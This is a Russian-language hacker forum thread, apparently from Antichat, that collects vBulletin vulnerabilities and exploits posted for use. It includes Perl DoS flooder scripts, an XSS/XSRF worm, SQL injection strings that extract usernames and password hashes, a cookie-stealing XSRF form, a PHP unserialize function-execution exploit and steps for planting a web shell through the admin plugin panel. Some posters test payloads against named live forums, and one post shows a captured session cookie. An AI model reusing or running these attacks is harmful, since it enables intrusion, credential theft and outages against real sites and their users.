ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей vBulletin] (https://forum.antichat.xyz/showthread.php?t=22852)

Fugitif 13.07.2008 21:04

Vbulletin Password Brute Force
 
################################################## ##########
## Author: M4k3 ##
## Script-Version: 1.0.2b ##
## Script-Name: vb_tool.php ##
## Copyright: pldsecurity.de / .com /pldsoft.com ##
## ##
## Comment: Next Version coming soon, check ##
## pldsecurity.com for Updates ##
################################################## ##########

Download:

http://rapidshare.com/files/13074135...rute_Force.rar

Elekt 18.07.2008 02:30

vBulletin PhotoPost vBGallery v2.x Remote File Upload
 

vBulletin PhotoPost vBGallery v2.x Remote File Upload

http://milw0rm.com/exploits/6082

Некорректная проверка расширения загружаемого файла позволяет залить вебшелл.

Nelzone 06.08.2008 22:19

Ajax Reg+XSS
 
Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..

1.Любой версия Vbulletin
2.Ajax Reg v.3.06 http://xaknets.h18.ru/AjaxReg.rar
3.Примые Руки

Вывод
1.Пишем в поля логина при регах <b>BAG тоест получайем это жирный шрифт.
_http://xaknets.h18.ru/images/1.bmp

2.Тепер как обычно курсив <i>BaG получайем это.
_http://xaknets.h18.ru/images/2.bmp
3.Черкныти <u>BaG
_http://xaknets.h18.ru/images/3.bmp
4.Тепер самы Главное) ВЫводим вот это

Цитата:

<font size="7" color="#008000"><b> <marquee bgcolor="#808080">BAGNUTI</marquee></b></font>
Получайем вот это))
_http://xaknets.h18.ru/images/4.bmp

вот и все

XSS УЯЗВИМОСТЬ
http://indimoviez.com/forums/ajax.php?do=CheckUsername&param="><script>alert("A NTICHAT")</script>

~!DoK_tOR!~ 11.08.2008 02:34

Vbulletin Doser
 
Код:

#!"c:\perl\bin\perl.exe"
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|" ;

}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
print "\~rippers~ team\n";
print "\twww.~rippers~.org\n\n";




exit();
};


Mo4x 16.08.2008 17:33

vBulletin sql inject Downloads Mod
 
vBulletin sql inject Downloads Mod
Цитата:

site.com/fileinfo.php?id=-1674'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,concat(username,0x3a,password,0x3a,salt ),19,20,21,22,23,24,25,26+from+user/*
found by kobo

exit 20.08.2008 00:27

vBulletin Version: 3.6.8 Patch Level x
 
Код:

###############################################################
Autor: NBBN
Founded: 5, January 2008
vBulletin Version: 3.6.8 Patch Level x and possible lower
Type: XSRF/XSS
Risk: Medium
###############################################################

##Explanation(english)##

My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable.
Administrators can use html in there own usertitle.
An attacker can update the profile of an administrator by sending a link to a
site with a code like this:


 <html>
  <head></head>
  <body onLoad=javascript:document.form.submit()>

<form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile"
method="POST" name="form">

<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>

Код:

If an attacker send a link in a pm for example, to the admin with a site
like the example code, the admin's usertitle updating and have a the code of
the attacker.The code executing if the admin have a post done in a thread
etc. An attacker can use this to steal the cookie of all user's who are
reading the thread.


##Explanation(Deutsch/German)##:

In vBulletin 3.6.8 gibt es eine XSRF Lücke, die dazu benutzt werden kann, um
XSS Code auszuführen. Admins können in ihren eigenen Benutzerrang HTML Code
verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript
code auszuführen, wenn er den oben stehenden code in eine Seite packt und
dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite
mit dem obigen HTML-Code. Somit ist es dem Angreifer möglich, alle Cookies
von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein
Administrator gepostet hat.


Elekt 25.08.2008 00:23

Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4
 

Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4

_http://securityvulns.ru/Udocument391.html

Активка в всплывающем уведомлении о новом входящем ПМ.

"Show New Private Message Notification Pop-up" у юзера должно быть включено.

В теме ПМ сообщения:
Код HTML:

--></script><script>alert(/xss/)</script><!--

Fugitif 04.09.2008 20:04

Vbulletin Plugin ChatBox Xss Vulnerability
 
Код:

####################################### Vbulletin Plugin ChatBox Xss Vulnerability  #
 
Discovered By Alemin_Krali# al3m@bsdmail.org                          # www.al3m.blogspot.com   
# Greetz : BeyazKurt,Kerem125,Cr@zy_King,Ercu_145,Abo Mohammed (Net Devil)# High Risk
Vulnerability! Xss Working!######################################note:You login site and xss try.
 
Ex:
http://www.localhost/misc.php?do=ccarc&cbt=xss
 
Example Site:
http://www.megaturks.net/forum/misc.php?do=ccarc&cbt=xss
 
and cookie
 
XSS acigi bulunan site=> www.megaturks.net — 16.08.2008 22:01 de kayit edilmistir. IP Adresi:
78.163.55.84 (whois)Cookies: bblastvisit=1218911541; bblastactivity=0;
bbforum_view=fcef3869fbbf346863082895ed158bd5de6700a1a-2-{i-170_i-1218911557_i-
158_i-1218911699_};bbpassword:
7750c66b19631528799b516d65de5ef1;bbuserid=9524;bbthread_lastview=f0d6496e44c2b0af
6b488fb24676aca245e8e60aa-1-{i-11619_i-1218911714_}
 
this big lammer center:)
a bugs life!
###########################################

Source:

http://securityvulns.com/Udocument371.html

faza02 21.11.2008 15:40

vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit
 
Код:

/* -----------------------------
 * Author      = Mx
 * Title      = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
 * Software    = vBulletin
 * Addon      = Visitor Messages
 * Version    = 3.7.3
 * Attack      = XSS/XSRF

 - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
 + with the visitor messages addon (a clone of a social network wall/comment area).
 - When posting XSS, the data is run through htmlentities(); before being displayed
 + to the general public/forum members. However, when posting a new message,
 - a new notification is sent to the commentee. The commenter posts a XSS vector such as
 + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
 - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
 + and I have included an example worm that makes the user post a new thread with your own
 - specified subject and message.

 * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
 * of the attack method.
 * ----------------------------- */

function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}

function getAXAH(url){

var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);

function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {

var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);

var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);

var subject = 'subject text';
var message = 'message text';

postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');

}
}
}
}








function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();
             
theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);

function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {

}
}
}
}


getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');

# milw0rm.com [2008-11-20]

http://milw0rm.com/exploits/7174

x3r0x 24.11.2008 21:57

Multiple Sql Injection in vBulletin 3.7.4
 
Цитата:

Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-69.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/


List of found vulnerabilities
================================================== =============================

1. Sql Injection in "admincp/verify.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Human Verification Manager
administer privileges


[---------- source code snippet start ----------]
if ($_POST['do'] == 'updateanswer')
{
$vbulletin->input->clean_array_gpc('p', array(
'answer' => TYPE_STR,
));
...
$db->query_write("
UPDATE " . TABLE_PREFIX . "hvanswer
SET answer = '" . $vbulletin->GPC['answer'] . "'
WHERE answerid = " . $vbulletin->GPC['answerid']
);
[----------- source code snippet end -----------]

It appears, that user submitted parameter "answer" is not properly sanitized
before using in sql query. As result sql injection is possible. Test will
induce sql error message:

Invalid SQL:
UPDATE vb_hvanswer
SET answer = 'war'axe'
WHERE answerid = 1;


2. Sql Injection in "admincp/attachmentpermission.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Attachment Permissions
Manager administer privileges

As in previous case, user submitted parameter, this time it's "extension", is
used in sql query without proper snaitization. This results sql injection
vulnerability. For test log in as admin with needed privileges and then issue
GET request (using proper URI instead if example):

http://localhost/vbulletin374/admincp/attachmentpermission.php?do=edit&extension=war'axe

This results with error message from vBulletin:

Database error in vBulletin 3.7.4:
Invalid SQL:

SELECT size, width, height
FROM attachmenttype
WHERE extension = 'war'axe';


3. Sql Injection in "admincp/image.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Avatars administer privileges

[---------- source code snippet start ----------]
if ($_POST['do'] == 'updatepermissions')
{
$vbulletin->input->clean_array_gpc('p', array(
'iperm' => TYPE_ARRAY,
'imagecategoryid' => TYPE_INT
));
...
foreach($vbulletin->GPC['iperm'] AS $usergroupid => $canuse)
{
if ($canuse == 0)
{
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "imagecategorypermission
(
imagecategoryid,
usergroupid
)
VALUES
(
" . $vbulletin->GPC['imagecategoryid'] . ",
$usergroupid
)
[----------- source code snippet end -----------]

User-submitted array "iperm" is used in sql query without proper sanitization.
This results in sql injection. Testing ends with error message:

MySQL Error : Unknown column 'waraxe' in 'field list'


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/
---------------------------------- [ EOF ] ---------------------------------
(C)

mailbrush 14.12.2008 12:14

HTML & XSS Code Execution
Выполнение произвольного HTML и XSS кода.
Должен быть установлен файл adminwarn.php, путь и права доступа к нему.
1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id=123456
Где 123456 - ID сообщения, где будет исполнятся код.
Текст предупреждения:
Код:

<script>alert('mailbrush H@CK3R')</script>
Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код.

© mailbrush

mailbrush 21.01.2009 22:15

HTML & XSS Code Execution x2

Что необходимо?
а) Доступ в админку
б) Прямые руки, соображение, минимальное знание инета и хтмл.


Как работает?
Уязвимость заключается в том, что поле "Заголовок" не фильтруется.


Начинаем
Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим:
Код:

<script>alert('mailbrush H@CK3R)</script>
Кликаем Сохранить. После этого заходим:

а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт.


© mailbrush

Flame of Soul 03.05.2009 15:55

3.0.8 и Last
 
Из серии давно забыли:

vBulletin <= 3.0.8 Accessible Database Backup Searcher

exploits last.php

Файл 'last.php' является модулем стороннего разработчика. Стандартный дистрибутив приложения неуязвим.

ph1l1ster 17.06.2009 21:47

vBulletin® Version 3.8.2 Denial of Service Exploit


Код:

#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;          # Object interface                          #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _                    _    _                  _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|    |___| |  |  _| -_|  _|  | -_|  _|              ##
##|_| |___|__,|_|_|_|  |_|_|_|_| |___|_| |_|_|___|_|                ##
##                                                                    ##
########################################################################
########################################################################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an            ##                                  ##
##1.Ziel                          ##[*] www.Ziel.com                  ##
##2.Board                        ##[*] vbulletin                    ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=          ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
    print"$block\n";
    print q(Ziel->);
    chomp($ziel =<STDIN>);
    if ($ziel eq""){
    die "$fehler\a\n";}
    print"$block\n";
      print"$block\n";
      print q(Path->);
      chomp($path =<STDIN>);
      if ($path eq "") {
      die "$fehler !\a\n";}
      print"$block\n";
          print"$block\n";
          print "Verwundbarkeit\n";
          print"forumdisplay.php?f=\n";
          print"->"n;
            chomp($vul =<STDIN>);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
              print"$block\n";
              print q(Time->);
              chomp($flood =<STDIN>);
              if ($flood eq "") {
              die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =<STDIN>);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                    print q(Send "start"->);
                    chomp($start =<STDIN>);
                    if ($start eq "") {
                    die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel  : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port  : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                              PeerAddr => "$ziel",
                              PeerPort => "$port",
                              Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}


[underwater] 06.07.2009 21:30

Заливаем шелл[любая версия]



Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:
Код:

$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
    echo "The file ".  basename( $_FILES['uploadedfile']['name']).
    " has been uploaded";
} else{
    echo "There was an error uploading the file";
}

Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.

Далее нам нужно место для загрузки:
Код:

<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>

Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)

ZARO 14.10.2009 16:06

Injection И новый баг с мнениями в vBulletin.
 
Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа
Код:

(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.

mailbrush 14.10.2009 20:29

Blind - SQL Injection
Opinion System <= 1.4.3

Тип: SQL - Инъекция
Автор: mailbrush
Мод (хак): Opinion System <= 1.4.3
О моде: http://www.vbsupport.org/forum/showthread.php?p=272151
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных.
Уязвимый код:
opinion.php
PHP код:

$value $_POST[value];
...
            
//пишем мнение в базу
            
$vbulletin->db->query_write("
                INSERT INTO " 
TABLE_PREFIX "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.")
                VALUES (
$opinionid$fromuserid$touserid$value$dateline, '".$vbulletin->db->escape_string($comment)."', $autofill$history$forcehistory".$modyfied2.")
            "
); 

Эксплуатация: Для эксплуатации уязвимости необходимо следующее:
  • Форум vBulletin.
  • Установленный мод Opinion System <= 1.4.3.
  • Зарегистрированный аккаунт на форуме.
Отправляем запрос:
Код:

POST /[path]/opinion.php HTTP/1.1
Host: [host]
Cookie: [cookie]
Connection: Keep-Alive
Content-Length: [content-length]
Content-Type: application/x-www-form-urlencoded

do=postvote&securitytoken=[token]&touserid=[touserid]&fromuserid=[fromuserid]&uop=0&username=[username]&comment=[comment]&value=[SQL]

Код:

[path] - путь к корню форума.
[host] - хост.
[cookie] - куки.
[content-length] - длина POST-запроса.
[token] - securitytoken (не во всех форумах надо указывать).
[touserid] - ID пользователя, которому ставим оценку.
[fromuserid] - ваш ID.
[username] - имя пользователя, которому ставим оценку.
[comment] - комментарий к оценке.
[SQL] - SQL - запрос.

В базу данных пойдет запрос вида
Код:

INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([DATA], [DATA], [DATA], [SQL], [DATA], [DATA], [DATA], [DATA], [DATA])
Соответственно вместо [SQL] можно подставить запрос вида
Код:

(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).
Дорк:
Код:

vbulletin inurl:opinion.php

[Raz0r] 04.12.2009 00:00

VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:
PHP код:

class vB_Shutdown
{
    
/* ... */
    
function __destruct()
    {
        if (!empty(
$this->shutdown))
        {
            foreach (
$this->shutdown AS $key => $funcname)
            {
                
$funcname();
                unset(
$this->shutdown[$key]);
            }
        }
    }


forumdisplay.php@165:
PHP код:

if ($vbulletin->GPC['postvars'] != '')
{
    if ((
$check verify_client_string($vbulletin->GPC['postvars'])) !== false)
    {
        
$temp unserialize($check);
        
/* ... */
    
}


includes/functions.php@2211:
PHP код:

function verify_client_string($string$extra_entropy '')
{
    
/* ... */
    
$firstpart substr($string040);
    
$return substr($string40);
    
$decode false;
    
/* ... */

    
if (sha1($return sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
    {
        return (
$decode base64_decode($return) : $return);
    }

    return 
false;


В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
Код:

/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/

Root-access 04.12.2009 00:23

Цитата:

Сообщение от [Raz0r]
VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:
PHP код:

class vB_Shutdown
{
    
/* ... */
    
function __destruct()
    {
        if (!empty(
$this->shutdown))
        {
            foreach (
$this->shutdown AS $key => $funcname)
            {
                
$funcname();
                unset(
$this->shutdown[$key]);
            }
        }
    }


forumdisplay.php@165:
PHP код:

if ($vbulletin->GPC['postvars'] != '')
{
    if ((
$check verify_client_string($vbulletin->GPC['postvars'])) !== false)
    {
        
$temp unserialize($check);
        
/* ... */
    
}


includes/functions.php@2211:
PHP код:

function verify_client_string($string$extra_entropy '')
{
    
/* ... */
    
$firstpart substr($string040);
    
$return substr($string40);
    
$decode false;
    
/* ... */

    
if (sha1($return sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
    {
        return (
$decode base64_decode($return) : $return);
    }

    return 
false;


В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
Код:

/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/


Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается.
Получаю лишь раскрытие путей.
Вот пример с хеки))
Код:

http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
Имеем:
Код:

Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169


З.Ы.
Вот ещё мегаприватфорум:
Код:

http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
phpinfo() опять-таки не выполнилась, вот что пишет:
Код:

1||1259872978||||||||Error Opening Logfile.

[Raz0r] 04.12.2009 12:06

В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская

blackybr 30.12.2009 12:32

Root-access для удачной эксплуатации "плоент" надо немного изменить

Root-access 30.12.2009 19:08

Цитата:

Сообщение от blackybr
Root-access для удачной эксплуатации "плоент" надо немного изменить


Да я уже понял, что там ошибка, только пока её не исправил.
Структура данных там такая:
vB_Shutdown Object ( [shutdown] => Array ( [0] => phpinfo ) )

Надо её исправить...

budden 31.12.2009 19:00

Пытался залить шелл по инструкции:
Цитата:

Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:system($_GET["cmd"]);
Однако при попытке захода:

Цитата:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.


* Please contact the website owners to inform them of this problem.
В чем причина и как обойти?

.:[melkiy]:. 01.01.2010 00:48

budden, попробую вписать eval($_GET[cmd]), дальше site.ru/forum/faq.php?cmd=phpinfo(); или сразу весь код шелла запихнуть, дальше site.ru/forum/faq.php смотри что вышло

P.S не в ту тему написал

Xcontrol212 05.01.2010 18:45

Раскрытие путей

vBulletin® Version 3.8.4

Код:

localhost/vb/calendar.php?do[]=[]add&[]type=[]recur&c=[]%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
Код:

Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651
Уязвимый код:

PHP код:

 function xss_clean($var)
    {
        static
            
$preg_find    = array('#^javascript#i''#^vbscript#i'),
            
$preg_replace = array('java script',   'vb script');

        return 
preg_replace($preg_find$preg_replacehtmlspecialchars(trim($var)));
    } 

UPD

Код:

http://localhost/vb/forumdisplay.php?do[]
Код:

Unable to add cookies, header already sent.
File: C:\xampp\htdocs\vb\includes\class_core.php
Line: 3277

Код:

Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651
Уязвимый код:

PHP код:

foreach (array('_GET''_POST') AS $arrayname)
        {
            if (isset(
$GLOBALS["$arrayname"]['do']))
            {
                
$GLOBALS["$arrayname"]['do'] = trim($GLOBALS["$arrayname"]['do']);
            }

            
$this->convert_shortvars($GLOBALS["$arrayname"]);
        } 

Все GET и POST данные с параметром будет обрабатываться функцией trim,а если сделать их массивом,возникает ошибка.

(C)Xcontrol212

jecka3000 07.02.2010 22:19

Vbulletin 4.0.1 Remote SQL Injection

п.с. хз пашет или нет...

Код:

#!/usr/bin/perl
 
use IO::Socket;
 
 
print q{
#######################################################################
#    vBulletin™ Version 4.0.1 Remote SQL Injection Exploit            #
#                      By indoushka                                  #
#                    www.iq-ty.com/vb                                #
#              Souk Naamane  (00213771818860)                        #
#          Algeria Hackerz (indoushka@hotmail.com)                  #
#          Dork: Powered by vBulletin™ Version 4.0.1                  #           
#######################################################################
};
 
if (!$ARGV[2]) {
 
print q{
        Usage: perl  VB4.0.1.pl host /directory/ victim_userid
 
      perl  VB4.0.1.pl www.vb.com /forum/ 1
 
 
};
 
}
 
 
$server = $ARGV[0];
$dir    = $ARGV[1];
$user  = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid  = $ARGV[5];
 
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";
 
